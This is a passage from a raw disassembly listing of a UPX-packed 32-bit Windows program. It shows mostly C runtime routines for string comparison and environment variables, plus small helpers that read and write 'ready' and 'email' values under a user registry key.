edi push ebp mov ebp, esp cmp dword_42ED1C, 0 jnz short loc_4166D8 mov eax, [ebp+arg_0] lea ecx, [eax-41h] cmp ecx, 19h ja short loc_4166E4 add eax, 20h pop ebp retn ; --------------------------------------------------------------------------- loc_4166D8: ; CODE XREF: sub_4166BA+Cj push 0 push [ebp+arg_0] call sub_4165A5 pop ecx pop ecx loc_4166E4: ; CODE XREF: sub_4166BA+17j pop ebp retn sub_4166BA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4166F0 proc near ; CODE XREF: sub_41611C+9Cp ; sub_41620E+44j arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] or ecx, ecx jz short loc_41674A mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] mov bh, 41h mov bl, 5Ah mov dh, 20h lea ecx, [ecx+0] loc_41670C: ; CODE XREF: sub_4166F0+49j mov ah, [esi] or ah, ah mov al, [edi] jz short loc_41673B or al, al jz short loc_41673B add esi, 1 add edi, 1 cmp ah, bh jb short loc_416728 cmp ah, bl ja short loc_416728 add ah, dh loc_416728: ; CODE XREF: sub_4166F0+30j ; sub_4166F0+34j cmp al, bh jb short loc_416732 cmp al, bl ja short loc_416732 add al, dh loc_416732: ; CODE XREF: sub_4166F0+3Aj ; sub_4166F0+3Ej cmp ah, al jnz short loc_416741 sub ecx, 1 jnz short loc_41670C loc_41673B: ; CODE XREF: sub_4166F0+22j ; sub_4166F0+26j xor ecx, ecx cmp ah, al jz short loc_41674A loc_416741: ; CODE XREF: sub_4166F0+44j mov ecx, 0FFFFFFFFh jb short loc_41674A neg ecx loc_41674A: ; CODE XREF: sub_4166F0+Bj ; sub_4166F0+4Fj ... mov eax, ecx pop ebx pop esi pop edi leave retn sub_4166F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416751 proc near ; CODE XREF: sub_41676F+6Ep ; sub_41676F+82p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp mov ecx, [ebp+arg_0] jmp short loc_416762 ; --------------------------------------------------------------------------- loc_41675B: ; CODE XREF: sub_416751+13j dec ecx cmp byte ptr [eax], 0 jz short loc_416767 inc eax loc_416762: ; CODE XREF: sub_416751+8j test ecx, ecx jnz short loc_41675B dec ecx loc_416767: ; CODE XREF: sub_416751+Ej mov eax, [ebp+arg_0] sub eax, ecx dec eax pop ebp retn sub_416751 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41676F proc near ; CODE XREF: sub_416ADF+2Bp var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_12 = byte ptr -12h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch mov edi, edi push ebp mov ebp, esp sub esp, 2Ch mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_C] push ebx push esi push edi xor edi, edi mov ebx, edx mov esi, ecx mov [ebp+var_24], ebx mov [ebp+var_1C], eax cmp dword_42EE88, edi jnz short loc_4167D3 push 1 mov eax, offset dword_41E554 push eax push 1 push eax push edi push edi call dword_41D0F0 ; CompareStringW test eax, eax jz short loc_4167BE mov dword_42EE88, 1 jmp short loc_4167D3 ; --------------------------------------------------------------------------- loc_4167BE: ; CODE XREF: sub_41676F+41j call dword_41D1D8 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_4167D3 mov dword_42EE88, 2 loc_4167D3: ; CODE XREF: sub_41676F+2Aj ; sub_41676F+4Dj ... cmp [ebp+arg_8], edi jle short loc_4167FE push [ebp+arg_8] mov eax, ebx call sub_416751 pop ecx mov [ebp+arg_8], eax loc_4167E6: ; CODE XREF: sub_41676F+93j mov edx, [ebp+arg_10] cmp edx, edi jle short loc_41680B mov eax, [ebp+var_1C] push edx call sub_416751 mov edx, eax pop ecx mov [ebp+arg_10], edx jmp short loc_416810 ; --------------------------------------------------------------------------- loc_4167FE: ; CODE XREF: sub_41676F+67j cmp [ebp+arg_8], 0FFFFFFFFh jge short loc_4167E6 loc_416804: ; CODE XREF: sub_41676F+9Fj ; sub_41676F+BDj ... xor eax, eax jmp loc_416ACD ; --------------------------------------------------------------------------- loc_41680B: ; CODE XREF: sub_41676F+7Cj cmp edx, 0FFFFFFFFh jl short loc_416804 loc_416810: ; CODE XREF: sub_41676F+8Dj mov ecx, dword_42EE88 cmp ecx, 2 jz loc_416A18 cmp ecx, edi jz loc_416A18 xor eax, eax inc eax cmp ecx, eax jnz short loc_416804 mov [ebp+var_28], edi cmp [ebp+arg_14], edi jnz short loc_41683E mov ecx, [esi] mov ecx, [ecx+4] mov [ebp+arg_14], ecx loc_41683E: ; CODE XREF: sub_41676F+C5j cmp [ebp+arg_8], edi jz short loc_41684B cmp edx, edi jnz loc_4168E5 loc_41684B: ; CODE XREF: sub_41676F+D2j cmp [ebp+arg_8], edx jnz short loc_416858 loc_416850: ; CODE XREF: sub_41676F+12Ej ; sub_41676F+167j push 2 loc_416852: ; CODE XREF: sub_41676F+F8j pop eax jmp loc_416ACD ; --------------------------------------------------------------------------- loc_416858: ; CODE XREF: sub_41676F+DFj cmp edx, eax jg loc_416ACD cmp [ebp+arg_8], eax jle short loc_416869 loc_416865: ; CODE XREF: sub_41676F+114j ; sub_41676F+11Dj ... push 3 jmp short loc_416852 ; --------------------------------------------------------------------------- loc_416869: ; CODE XREF: sub_41676F+F4j lea eax, [ebp+var_18] push eax push [ebp+arg_14] call dword_41D138 ; GetCPInfo test eax, eax jz short loc_416804 cmp [ebp+arg_8], edi jle short loc_4168A8 cmp [ebp+var_18], 2 jb short loc_416865 cmp [ebp+var_12], 0 lea eax, [ebp+var_12] jz short loc_416865 loc_41688E: ; CODE XREF: sub_41676F+135j mov dl, [eax+1] test dl, dl jz short loc_416865 mov cl, [ebx] cmp cl, [eax] jb short loc_41689F cmp cl, dl jbe short loc_416850 loc_41689F: ; CODE XREF: sub_41676F+12Aj inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_41688E jmp short loc_416865 ; --------------------------------------------------------------------------- loc_4168A8: ; CODE XREF: sub_41676F+10Ej cmp [ebp+arg_10], edi jle short loc_4168E5 cmp [ebp+var_18], 2 jnb short loc_4168BB loc_4168B3: ; CODE XREF: sub_41676F+153j ; sub_41676F+15Aj ... xor eax, eax inc eax jmp loc_416ACD ; --------------------------------------------------------------------------- loc_4168BB: ; CODE XREF: sub_41676F+142j cmp [ebp+var_12], 0 lea eax, [ebp+var_12] jz short loc_4168B3 loc_4168C4: ; CODE XREF: sub_41676F+172j mov dl, [eax+1] test dl, dl jz short loc_4168B3 mov ecx, [ebp+var_1C] mov cl, [ecx] cmp cl, [eax] jb short loc_4168DC cmp cl, dl jbe loc_416850 loc_4168DC: ; CODE XREF: sub_41676F+163j inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_4168C4 jmp short loc_4168B3 ; --------------------------------------------------------------------------- loc_4168E5: ; CODE XREF: sub_41676F+D6j ; sub_41676F+13Cj mov esi, dword_41D1F4 push edi push edi push [ebp+arg_8] push ebx push 9 push [ebp+arg_14] call esi ; dword_41D1F4 mov ebx, eax mov [ebp+var_2C], ebx cmp ebx, edi jz loc_416804 mov edi, 400h test ebx, ebx jle short loc_41694E push 0FFFFFFE0h xor edx, edx pop eax div ebx cmp eax, 2 jb short loc_41694E lea eax, [ebx+ebx+8] cmp eax, edi ja short loc_416935 call sub_4160F0 mov eax, esp test eax, eax jz short loc_416949 mov dword ptr [eax], 0CCCCh jmp short loc_416946 ; --------------------------------------------------------------------------- loc_416935: ; CODE XREF: sub_41676F+1B1j push eax call sub_40AEA5 pop ecx test eax, eax jz short loc_416949 mov dword ptr [eax], 0DDDDh loc_416946: ; CODE XREF: sub_41676F+1C4j add eax, 8 loc_416949: ; CODE XREF: sub_41676F+1BCj ; sub_41676F+1CFj mov [ebp+var_20], eax jmp short loc_416952 ; --------------------------------------------------------------------------- loc_41694E: ; CODE XREF: sub_41676F+19Dj ; sub_41676F+1A9j and [ebp+var_20], 0 loc_416952: ; CODE XREF: sub_41676F+1DDj cmp [ebp+var_20], 0 jz loc_416804 push ebx push [ebp+var_20] push [ebp+arg_8] push [ebp+var_24] push 1 push [ebp+arg_14] call esi ; dword_41D1F4 test eax, eax jz loc_416A07 push 0 push 0 push [ebp+arg_10] push [ebp+var_1C] push 9 push [ebp+arg_14] call esi ; dword_41D1F4 mov ebx, eax test ebx, ebx jz short loc_416A07 jle short loc_4169D0 push 0FFFFFFE0h xor edx, edx pop eax div ebx cmp eax, 2 jb short loc_4169D0 lea eax, [ebx+ebx+8] cmp eax, edi ja short loc_4169B8 call sub_4160F0 mov edi, esp test edi, edi jz short loc_416A07 mov dword ptr [edi], 0CCCCh add edi, 8 jmp short loc_4169D2 ; --------------------------------------------------------------------------- loc_4169B8: ; CODE XREF: sub_41676F+231j push eax call sub_40AEA5 pop ecx test eax, eax jz short loc_4169CC mov dword ptr [eax], 0DDDDh add eax, 8 loc_4169CC: ; CODE XREF: sub_41676F+252j mov edi, eax jmp short loc_4169D2 ; --------------------------------------------------------------------------- loc_4169D0: ; CODE XREF: sub_41676F+21Dj ; sub_41676F+229j xor edi, edi loc_4169D2: ; CODE XREF: sub_41676F+247j ; sub_41676F+25Fj test edi, edi jz short loc_416A07 push ebx push edi push [ebp+arg_10] push [ebp+var_1C] push 1 push [ebp+arg_14] call esi ; dword_41D1F4 test eax, eax jz short loc_416A00 push ebx push edi push [ebp+var_2C] push [ebp+var_20] push [ebp+arg_4] push [ebp+arg_0] call dword_41D0F0 ; CompareStringW mov [ebp+var_28], eax loc_416A00: ; CODE XREF: sub_41676F+278j push edi call sub_401000 pop ecx loc_416A07: ; CODE XREF: sub_41676F+200j ; sub_41676F+21Bj ... push [ebp+var_20] call sub_401000 mov eax, [ebp+var_28] pop ecx jmp loc_416ACD ; --------------------------------------------------------------------------- loc_416A18: ; CODE XREF: sub_41676F+AAj ; sub_41676F+B2j xor edi, edi xor ebx, ebx cmp [ebp+arg_0], edi jnz short loc_416A29 mov eax, [esi] mov eax, [eax+14h] mov [ebp+arg_0], eax loc_416A29: ; CODE XREF: sub_41676F+2B0j cmp [ebp+arg_14], edi jnz short loc_416A36 mov eax, [esi] mov eax, [eax+4] mov [ebp+arg_14], eax loc_416A36: ; CODE XREF: sub_41676F+2BDj push [ebp+arg_0] call sub_415EED mov esi, eax pop ecx cmp esi, 0FFFFFFFFh jz loc_416804 cmp esi, [ebp+arg_14] jz short loc_416A9F push 0 push 0 lea eax, [ebp+arg_8] push eax push [ebp+var_24] push esi push [ebp+arg_14] call sub_415F36 mov ebx, eax add esp, 18h test ebx, ebx jz loc_416804 push 0 push 0 lea eax, [ebp+arg_10] push eax push [ebp+var_1C] push esi push [ebp+arg_14] call sub_415F36 mov edi, eax add esp, 18h test edi, edi jnz short loc_416A99 push ebx call sub_40ADC8 pop ecx jmp loc_416804 ; --------------------------------------------------------------------------- loc_416A99: ; CODE XREF: sub_41676F+31Cj mov [ebp+var_24], ebx mov [ebp+var_1C], edi loc_416A9F: ; CODE XREF: sub_41676F+2DEj push [ebp+arg_10] push [ebp+var_1C] push [ebp+arg_8] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_41D0F4 ; CompareStringA mov esi, eax test ebx, ebx jz short loc_416ACB push ebx call sub_40ADC8 push edi call sub_40ADC8 pop ecx pop ecx loc_416ACB: ; CODE XREF: sub_41676F+34Cj mov eax, esi loc_416ACD: ; CODE XREF: sub_41676F+97j ; sub_41676F+E4j ... lea esp, [ebp-38h] pop edi pop esi pop ebx mov ecx, [ebp+var_4] xor ecx, ebp call sub_40AC1C leave retn sub_41676F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416ADF proc near ; CODE XREF: sub_41626C+BFp ; sub_416B21+C0p var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h mov edi, edi push ebp mov ebp, esp sub esp, 10h push [ebp+arg_0] lea ecx, [ebp+var_10] call sub_40C799 push [ebp+arg_1C] mov edx, [ebp+arg_C] push [ebp+arg_18] lea ecx, [ebp+var_10] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_8] push [ebp+arg_4] call sub_41676F add esp, 18h cmp [ebp+var_4], 0 jz short locret_416B1F mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh locret_416B1F: ; CODE XREF: sub_416ADF+37j leave retn sub_416ADF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B21 proc near ; CODE XREF: sub_41626C+9Ep var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h mov edi, edi push ebp mov ebp, esp sub esp, 10h push ebx push [ebp+arg_C] lea ecx, [ebp+var_10] call sub_40C799 mov edx, [ebp+arg_8] xor ebx, ebx cmp edx, ebx jnz short loc_416B51 cmp [ebp+var_4], bl jz short loc_416B4A mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_416B4A: ; CODE XREF: sub_416B21+20j xor eax, eax jmp loc_416C18 ; --------------------------------------------------------------------------- loc_416B51: ; CODE XREF: sub_416B21+1Bj cmp [ebp+arg_0], ebx jnz short loc_416B84 loc_416B56: ; CODE XREF: sub_416B21+66j call sub_40C862 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40B255 add esp, 14h cmp [ebp+var_4], bl jz short loc_416B7A mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_416B7A: ; CODE XREF: sub_416B21+50j mov eax, 7FFFFFFFh jmp loc_416C18 ; --------------------------------------------------------------------------- loc_416B84: ; CODE XREF: sub_416B21+33j cmp [ebp+arg_4], ebx jz short loc_416B56 push esi mov esi, 7FFFFFFFh cmp edx, esi jbe short loc_416BAD call sub_40C862 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40B255 add esp, 14h jmp short loc_416BF8 ; --------------------------------------------------------------------------- loc_416BAD: ; CODE XREF: sub_416B21+70j mov eax, [ebp+var_10] mov ecx, [eax+10h] cmp ecx, ebx jnz short loc_416BCC lea eax, [ebp+var_10] push eax push edx push [ebp+arg_4] push [ebp+arg_0] call sub_41611C add esp, 10h jmp short loc_416C0B ; --------------------------------------------------------------------------- loc_416BCC: ; CODE XREF: sub_416B21+94j push dword ptr [eax+8] lea eax, [ebp+var_10] push edx push [ebp+arg_4] push edx push [ebp+arg_0] push 1001h push ecx push eax call sub_416ADF add esp, 20h cmp eax, ebx jnz short loc_416C08 call sub_40C862 mov dword ptr [eax], 16h loc_416BF8: ; CODE XREF: sub_416B21+8Aj cmp [ebp+var_4], bl jz short loc_416C04 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_416C04: ; CODE XREF: sub_416B21+DAj mov eax, esi jmp short loc_416C17 ; --------------------------------------------------------------------------- loc_416C08: ; CODE XREF: sub_416B21+CAj add eax, 0FFFFFFFEh loc_416C0B: ; CODE XREF: sub_416B21+A9j cmp [ebp+var_4], bl jz short loc_416C17 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh loc_416C17: ; CODE XREF: sub_416B21+E5j ; sub_416B21+EDj pop esi loc_416C18: ; CODE XREF: sub_416B21+2Bj ; sub_416B21+5Ej pop ebx leave retn sub_416B21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C1B proc near ; CODE XREF: sub_416CC7+EDp arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push esi mov esi, dword_42E88C jmp short loc_416C4A ; --------------------------------------------------------------------------- loc_416C29: ; CODE XREF: sub_416C1B+33j push edi push eax push [ebp+arg_0] call sub_41635A add esp, 0Ch test eax, eax jnz short loc_416C47 mov eax, [esi] mov al, [edi+eax] cmp al, 3Dh jz short loc_416C60 test al, al jz short loc_416C60 loc_416C47: ; CODE XREF: sub_416C1B+1Dj add esi, 4 loc_416C4A: ; CODE XREF: sub_416C1B+Cj mov eax, [esi] test eax, eax jnz short loc_416C29 mov eax, esi sub eax, dword_42E88C sar eax, 2 neg eax loc_416C5D: ; CODE XREF: sub_416C1B+50j pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_416C60: ; CODE XREF: sub_416C1B+26j ; sub_416C1B+2Aj mov eax, esi sub eax, dword_42E88C sar eax, 2 jmp short loc_416C5D sub_416C1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C6D proc near ; CODE XREF: sub_416CC7+6Cp var_4 = dword ptr -4 mov edi, edi push ebp mov ebp, esp push ecx push edi mov edi, eax xor eax, eax mov ecx, edi test edi, edi jz short loc_416CC4 cmp [edi], eax jz short loc_416C8B loc_416C82: ; CODE XREF: sub_416C6D+1Cj add ecx, 4 inc eax cmp dword ptr [ecx], 0 jnz short loc_416C82 loc_416C8B: ; CODE XREF: sub_416C6D+13j push esi inc eax push 4 push eax call sub_40EF6F mov esi, eax pop ecx pop ecx mov [ebp+var_4], esi test esi, esi jnz short loc_416CB8 push 9 call sub_40DAD0 jmp short loc_416CB7 ; --------------------------------------------------------------------------- loc_416CA9: ; CODE XREF: sub_416C6D+4Fj push eax call sub_416F12 mov [esi], eax add esi, 4 add edi, 4 loc_416CB7: ; CODE XREF: sub_416C6D+3Aj pop ecx loc_416CB8: ; CODE XREF: sub_416C6D+31j mov eax, [edi] test eax, eax jnz short loc_416CA9 and [esi], eax mov eax, [ebp+var_4] pop esi loc_416CC4: ; CODE XREF: sub_416C6D+Fj pop edi leave retn sub_416C6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416CC7 proc near ; CODE XREF: sub_416374+5Bp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_0] push ebx xor ebx, ebx mov [ebp+var_C], ebx cmp eax, ebx jnz short loc_416CF9 call sub_40C862 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40B255 add esp, 14h or eax, 0FFFFFFFFh jmp short loc_416D67 ; --------------------------------------------------------------------------- loc_416CF9: ; CODE XREF: sub_416CC7+13j push esi mov esi, [eax] push edi mov [ebp+var_4], esi cmp esi, ebx jz short loc_416D57 push 3Dh push esi call sub_4143B1 mov edi, eax pop ecx pop ecx mov [ebp+var_14], edi cmp edi, ebx jz short loc_416D57 cmp esi, edi jz short loc_416D57 xor eax, eax cmp [edi+1], bl setz al mov [ebp+var_8], eax mov eax, dword_42E88C cmp eax, dword_42E890 jnz short loc_416D3D call sub_416C6D mov dword_42E88C, eax loc_416D3D: ; CODE XREF: sub_416CC7+6Aj cmp eax, ebx jnz short loc_416DA1 cmp [ebp+arg_4], ebx jz short loc_416D6A cmp dword_42E894, ebx jz short loc_416D6A call sub_416374 test eax, eax jz short loc_416DA1 loc_416D57: ; CODE XREF: sub_416CC7+3Bj ; sub_416CC7+4Ej ... call sub_40C862 mov dword ptr [eax], 16h loc_416D62: ; CODE XREF: sub_416CC7+BBj ; sub_416CC7+D6j ... or eax, 0FFFFFFFFh loc_416D65: ; CODE XREF: sub_416CC7+231j ; sub_416CC7+246j pop edi pop esi loc_416D67: ; CODE XREF: sub_416CC7+30j pop ebx leave retn ; --------------------------------------------------------------------------- loc_416D6A: ; CODE XREF: sub_416CC7+7Dj ; sub_416CC7+85j cmp [ebp+var_8], ebx jnz loc_416F0B push 4 call sub_40EF2A pop ecx mov dword_42E88C, eax cmp eax, ebx jz short loc_416D62 mov [eax], ebx cmp dword_42E894, ebx jnz short loc_416DA1 push 4 call sub_40EF2A pop ecx mov dword_42E894, eax cmp eax, ebx jz short loc_416D62 mov [eax], ebx loc_416DA1: ; CODE XREF: sub_416CC7+78j ; sub_416CC7+8Ej ... mov esi, dword_42E88C mov [ebp+var_10], esi cmp esi, ebx jz short loc_416D62 sub edi, [ebp+var_4] push [ebp+var_4] call sub_416C1B mov edi, eax cmp edi, ebx pop ecx jl short loc_416E12 cmp [esi], ebx jz short loc_416E12 lea esi, [esi+edi*4] push dword ptr [esi] call sub_40ADC8 pop ecx cmp [ebp+var_8], ebx jnz short loc_416DEF mov eax, [ebp+var_4] mov [esi], eax mov eax, [ebp+arg_0] mov [eax], ebx jmp loc_416E65 ; --------------------------------------------------------------------------- loc_416DE3: ; CODE XREF: sub_416CC7+12Aj mov eax, [esi+4] mov [esi], eax mov eax, [ebp+var_10] inc edi lea esi, [eax+edi*4] loc_416DEF: ; CODE XREF: sub_416CC7+10Bj cmp [esi], ebx jnz short loc_416DE3 cmp edi, 3FFFFFFFh jnb short loc_416E65 push 4 push edi push dword_42E88C call sub_40F009 add esp, 0Ch cmp eax, ebx jz short loc_416E65 jmp short loc_416E60 ; --------------------------------------------------------------------------- loc_416E12: ; CODE XREF: sub_416CC7+F7j ; sub_416CC7+FBj cmp [ebp+var_8], ebx jnz loc_416EFD cmp edi, ebx jge short loc_416E21 neg edi loc_416E21: ; CODE XREF: sub_416CC7+156j lea eax, [edi+2] cmp eax, edi jl loc_416D62 cmp eax, 3FFFFFFFh jnb loc_416D62 push eax push 4 push dword_42E88C call sub_40F009 add esp, 0Ch cmp eax, ebx jz loc_416D62 mov edx, [ebp+var_4] lea ecx, [eax+edi*4] mov [ecx], edx mov [ecx+4], ebx mov ecx, [ebp+arg_0] mov [ecx], ebx loc_416E60: ; CODE XREF: sub_416CC7+149j mov dword_42E88C, eax loc_416E65: ; CODE XREF: sub_416CC7+117j ; sub_416CC7+132j ... cmp [ebp+arg_4], ebx jz short loc_416EE2 mov esi, [ebp+var_4] push 1 push esi call sub_40BFB0 inc eax pop ecx inc eax push eax call sub_40EF6F mov edi, eax pop ecx pop ecx cmp edi, ebx jz short loc_416EE2 push esi push esi call sub_40BFB0 inc eax pop ecx inc eax push eax push edi call sub_40CD95 add esp, 0Ch test eax, eax jz short loc_416EAB push ebx push ebx push ebx push ebx push ebx call sub_40B12D add esp, 14h loc_416EAB: ; CODE XREF: sub_416CC7+1D5j mov ecx, [ebp+var_8] mov eax, edi sub eax, esi add eax, [ebp+var_14] mov [eax], bl inc eax neg ecx sbb ecx, ecx not ecx and ecx, eax push ecx push edi call dword_41D0EC ; SetEnvironmentVariableA test eax, eax jnz short loc_416EDB or [ebp+var_C], 0FFFFFFFFh call sub_40C862 mov dword ptr [eax], 2Ah loc_416EDB: ; CODE XREF: sub_416CC7+203j push edi call sub_40ADC8 pop ecx loc_416EE2: ; CODE XREF: sub_416CC7+1A1j ; sub_416CC7+1BDj cmp [ebp+var_8], ebx jz short loc_416EF5 push [ebp+var_4] call sub_40ADC8 mov eax, [ebp+arg_0] pop ecx mov [eax], ebx loc_416EF5: ; CODE XREF: sub_416CC7+21Ej mov eax, [ebp+var_C] jmp loc_416D65 ; --------------------------------------------------------------------------- loc_416EFD: ; CODE XREF: sub_416CC7+14Ej push [ebp+var_4] call sub_40ADC8 mov eax, [ebp+arg_0] pop ecx mov [eax], ebx loc_416F0B: ; CODE XREF: sub_416CC7+A6j xor eax, eax jmp loc_416D65 sub_416CC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F12 proc near ; CODE XREF: sub_416C6D+3Dp arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_0], ebx jnz short loc_416F23 xor eax, eax jmp short loc_416F64 ; --------------------------------------------------------------------------- loc_416F23: ; CODE XREF: sub_416F12+Bj push esi push edi push [ebp+arg_0] call sub_40BFB0 mov esi, eax inc esi push esi call sub_40AEA5 mov edi, eax pop ecx pop ecx cmp edi, ebx jz short loc_416F60 push [ebp+arg_0] push esi push edi call sub_40CD95 add esp, 0Ch test eax, eax jz short loc_416F5C push ebx push ebx push ebx push ebx push ebx call sub_40B12D add esp, 14h loc_416F5C: ; CODE XREF: sub_416F12+3Bj mov eax, edi jmp short loc_416F62 ; --------------------------------------------------------------------------- loc_416F60: ; CODE XREF: sub_416F12+2Aj xor eax, eax loc_416F62: ; CODE XREF: sub_416F12+4Cj pop edi pop esi loc_416F64: ; CODE XREF: sub_416F12+Fj pop ebx pop ebp retn sub_416F12 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F68 proc near ; CODE XREF: sub_408FB6+11Dp jmp dword_41D3D4 sub_416F68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F6E proc near ; CODE XREF: sub_40C0C0+26p ; sub_41002E+10p ... jmp dword_41D190 sub_416F6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F74 proc near ; CODE XREF: sub_4170D1+5p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_42F0E4 test eax, eax jnz short loc_416F86 xor al, al jmp short locret_416FAD ; --------------------------------------------------------------------------- loc_416F86: ; CODE XREF: sub_416F74+Cj push 4 pop ecx mov [ebp+var_8], ecx mov [ebp+var_4], ecx lea ecx, [ebp+var_4] push ecx push [ebp+arg_0] lea ecx, [ebp+var_8] push ecx push 0 push offset aReady ; "ready" push eax call dword_41D01C ; RegQueryValueExW neg eax sbb eax, eax inc eax locret_416FAD: ; CODE XREF: sub_416F74+10j leave retn 4 sub_416F74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416FB1 proc near ; CODE XREF: sub_41709B+Cp ; sub_4170DD+1Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, dword_42F0E4 test eax, eax jnz short loc_416FC3 xor al, al jmp short locret_416FED ; --------------------------------------------------------------------------- loc_416FC3: ; CODE XREF: sub_416FB1+Cj lea ecx, [ebp+var_4] push ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push ecx push 0 push [ebp+arg_0] mov [ebp+var_8], 1 push eax mov [ebp+var_4], 400h call dword_41D01C ; RegQueryValueExW neg eax sbb eax, eax inc eax locret_416FED: ; CODE XREF: sub_416FB1+10j leave retn 8 sub_416FB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416FF1 proc near ; CODE XREF: sub_4170C1+Ap ; sub_417692+83p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [eax] mov [ebp+var_4], 1 test eax, eax jnz short loc_417006 xor al, al jmp short locret_41701F ; --------------------------------------------------------------------------- loc_417006: ; CODE XREF: sub_416FF1+Fj push 4 lea ecx, [ebp+var_4] push ecx push 4 push 0 push [ebp+arg_0] push eax call dword_41D018 ; RegSetValueExW neg eax sbb eax, eax inc eax locret_41701F: ; CODE XREF: sub_416FF1+13j leave retn 4 sub_416FF1 endp ; =============== S U B R O U T I N E ======================================= sub_417023 proc near ; CODE XREF: sub_408F59+36p ; UPX0:004170BBp arg_0 = dword ptr 4 mov ecx, dword_42F0E4 test ecx, ecx jnz short loc_417031 xor al, al jmp short locret_417066 ; --------------------------------------------------------------------------- loc_417031: ; CODE XREF: sub_417023+8j mov eax, [esp+arg_0] lea edx, [eax+2] push esi loc_417039: ; CODE XREF: sub_417023+1Ej mov si, [eax] inc eax inc eax test si, si jnz short loc_417039 sub eax, edx sar eax, 1 lea eax, [eax+eax+2] push eax push [esp+8+arg_0] push 1 push 0 push offset aEmail_0 ; "email" push ecx call dword_41D018 ; RegSetValueExW neg eax sbb eax, eax inc eax pop esi locret_417066: ; CODE XREF: sub_417023+Cj retn 4 sub_417023 endp ; --------------------------------------------------------------------------- push dword ptr [eax] call dword_41D000 ; RegCloseKey retn ; =============== S U B R O U T I N E ======================================= sub_417072 proc near ; CODE XREF: sub_417692+72p ; UPX0:0041C838p arg_0 = dword ptr 4 push esi xor esi, esi push esi push edi push esi push 2001Fh push esi push esi push esi push [esp+20h+arg_0] push 80000001h call dword_41D020 ; RegCreateKeyExW test eax, eax jz short loc_417095 mov [edi], esi loc_417095: ; CODE XREF: sub_417072+1Fj mov eax, edi pop esi retn 4 sub_417072 endp ; =============== S U B R O U T I N E ======================================= sub_41709B proc near ; CODE XREF: sub_408E29+60p push esi mov esi, offset dword_42EEB0 push esi push offset aEmail_1 ; "email" call sub_416FB1 movzx eax, al neg eax sbb eax, eax and eax, esi pop esi retn sub_41709B endp ; --------------------------------------------------------------------------- push dword ptr [esp+4] call sub_417023 retn ; =============== S U B R O U T I N E ======================================= sub_4170C1 proc near ; CODE XREF: UPX0:00409774p push offset aReady_0 ; "ready" mov eax, offset dword_42F0E4 call sub_416FF1 retn sub_4170C1 endp ; =============== S U B R O U T I N E ======================================= sub_4170D1 proc near ; CODE XREF: sub_409CAD+18p ; sub_417692+A6p ... var_4 = byte ptr -4 push ecx lea eax, [esp+4+var_4] push eax call sub_416F74 pop ecx retn sub_4170D1 endp ; =============== S U B R O U T I N E ======================================= 